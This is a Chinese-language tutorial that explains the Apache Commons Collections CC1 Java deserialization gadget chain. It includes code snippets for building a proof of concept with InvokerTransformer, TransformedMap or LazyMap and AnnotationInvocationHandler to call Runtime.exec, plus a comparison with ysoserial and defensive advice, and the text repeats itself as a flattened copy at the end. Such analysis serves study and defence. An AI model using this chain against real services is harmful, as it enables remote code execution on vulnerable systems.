Java安全之详解commons-collection包下的反序列化链1
字数 1722 2025-08-11 17:40:24

Apache Commons Collections反序列化漏洞分析(CC1链)

一、环境搭建

JDK7环境配置

  1. 下载JDK7的Linux版本(.tar.gz),注意系统位数匹配

  2. 创建并解压到指定目录:

    sudo mkdir -p /usr/local/java
    sudo cp -r jdk...tar.gz /usr/local/java
    sudo tar xvzf jdk...tar.gz
    
  3. 配置环境变量(~/.bashrc):

    JAVA_HOME=/usr/local/java/jdk1.7.0_80
    JRE_HOME=/usr/local/java/jdk1.7.0_80
    PATH=$PATH:$JRE_HOME/bin:$JAVA_HOME/bin
    export JAVA_HOME
    export JRE_HOME
    export PATH
    
  4. 更新alternatives:

    sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.7.0_80/bin/java" 1
    sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.7.0_80/bin/javac" 1
    sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.7.0_80/bin/javaws" 1
    sudo update-alternatives --set java /usr/local/java/jdk1.7.0_80/bin/java
    sudo update-alternatives --set javac /usr/local/java/jdk1.7.0_80/bin/javac
    sudo update-alternatives --set javaws /usr/local/java/jdk1.7.0_80/bin/javaws
    
  5. 重新加载配置并验证:

    source ~/.bashrc
    java -version
    

二、关键类与接口分析

1. TransformedMap

TransformedMap.decorate(innerMap, keyTransformer, valueTransformer)用于修饰标准Map:

  • keyTransformer: 处理新元素Key的回调
  • valueTransformer: 处理新元素Value的回调

这里的"回调"是指实现了Transformer接口的类。

2. Transformer接口

核心方法:

Object transform(Object input)

3. ConstantTransformer

实现Transformer接口,包装任意对象并在回调时返回该对象:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

4. InvokerTransformer

实现Transformer接口,可执行任意方法:

  • 构造参数:
    1. 待执行的方法名
    2. 方法参数类型列表
    3. 方法参数列表

5. ChainedTransformer

实现Transformer接口,将多个Transformer串联执行。

三、漏洞原理分析

基本Demo分析

Transformer[] transformers = {
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxx");

执行流程:

  1. ConstantTransformer包装Runtime.getRuntime()
  2. InvokerTransformer调用exec方法执行calc命令
  3. ChainedTransformer将两个Transformer串联
  4. TransformedMap.decorate修饰Map
  5. 通过put操作触发漏洞

实际利用条件

在实际反序列化中,需要找到一个类的readObject方法会向Map中写入元素。AnnotationInvocationHandler满足此条件。

POC构造关键点

  1. 通过反射获取AnnotationInvocationHandler

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    Object obj = construct.newInstance(Retention.class, outMap);
    
  2. Runtime类不可序列化问题解决:

    Method method = Runtime.class.getMethod("getRuntime");
    Runtime res = (Runtime) method.invoke(null);
    res.exec("calc");
    
  3. 触发条件:

    • 使用Retention.class实例化
    • 添加value为键的键值对
    • 仅适用于Java 8u71之前的版本

四、与ysoserial的区别

  1. ysoserial使用LazyMap而非TransformedMap

    • TransformedMap: 写入元素时执行transform
    • LazyMap: get元素时执行transform
  2. AnnotationInvocationHandlerreadObject不直接调用get方法,而是通过invoke方法间接调用

  3. 代理机制实现:

    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
    

五、Payload生成分析

  1. 使用InvokerTransformer和反射获取Runtime.getRuntime().exec方法
  2. 创建HashMap存储元素
  3. 通过Gadgets.createMemoitizedProxy创建代理
  4. Gadgets.createMemoizedInvocationHandler返回InvocationHandler
  5. Reflections.getFirstCtor获取AnnotationInvocationHandler构造方法
  6. 使用Proxy.newProxyInstance创建代理Map
  7. 通过Reflections.setFieldValue设置Transformer链

六、利用条件总结

  1. 环境要求:

    • Java版本:8u71之前
    • 存在commons-collections库
  2. 关键点:

    • 利用Transformer链构造恶意操作
    • 通过AnnotationInvocationHandlerreadObject触发
    • 解决Runtime不可序列化问题
    • 正确处理触发条件(var12不为null)

七、防御建议

  1. 升级JDK到8u71及以上版本
  2. 升级commons-collections库
  3. 使用反序列化过滤器
  4. 避免反序列化不可信数据
Apache Commons Collections反序列化漏洞分析(CC1链) 一、环境搭建 JDK7环境配置 下载JDK7的Linux版本(.tar.gz),注意系统位数匹配 创建并解压到指定目录: 配置环境变量(~/.bashrc): 更新alternatives: 重新加载配置并验证: 二、关键类与接口分析 1. TransformedMap TransformedMap.decorate(innerMap, keyTransformer, valueTransformer) 用于修饰标准Map: keyTransformer : 处理新元素Key的回调 valueTransformer : 处理新元素Value的回调 这里的"回调"是指实现了 Transformer 接口的类。 2. Transformer接口 核心方法: 3. ConstantTransformer 实现 Transformer 接口,包装任意对象并在回调时返回该对象: 4. InvokerTransformer 实现 Transformer 接口,可执行任意方法: 构造参数: 待执行的方法名 方法参数类型列表 方法参数列表 5. ChainedTransformer 实现 Transformer 接口,将多个Transformer串联执行。 三、漏洞原理分析 基本Demo分析 执行流程: ConstantTransformer 包装 Runtime.getRuntime() InvokerTransformer 调用 exec 方法执行 calc 命令 ChainedTransformer 将两个Transformer串联 TransformedMap.decorate 修饰Map 通过 put 操作触发漏洞 实际利用条件 在实际反序列化中,需要找到一个类的 readObject 方法会向Map中写入元素。 AnnotationInvocationHandler 满足此条件。 POC构造关键点 通过反射获取 AnnotationInvocationHandler : Runtime类不可序列化问题解决: 触发条件: 使用 Retention.class 实例化 添加value为键的键值对 仅适用于Java 8u71之前的版本 四、与ysoserial的区别 ysoserial 使用 LazyMap 而非 TransformedMap TransformedMap : 写入元素时执行transform LazyMap : get元素时执行transform AnnotationInvocationHandler 的 readObject 不直接调用get方法,而是通过 invoke 方法间接调用 代理机制实现: 五、Payload生成分析 使用 InvokerTransformer 和反射获取 Runtime.getRuntime().exec 方法 创建HashMap存储元素 通过 Gadgets.createMemoitizedProxy 创建代理 Gadgets.createMemoizedInvocationHandler 返回InvocationHandler Reflections.getFirstCtor 获取 AnnotationInvocationHandler 构造方法 使用 Proxy.newProxyInstance 创建代理Map 通过 Reflections.setFieldValue 设置Transformer链 六、利用条件总结 环境要求: Java版本:8u71之前 存在commons-collections库 关键点: 利用 Transformer 链构造恶意操作 通过 AnnotationInvocationHandler 的 readObject 触发 解决Runtime不可序列化问题 正确处理触发条件(var12不为null) 七、防御建议 升级JDK到8u71及以上版本 升级commons-collections库 使用反序列化过滤器 避免反序列化不可信数据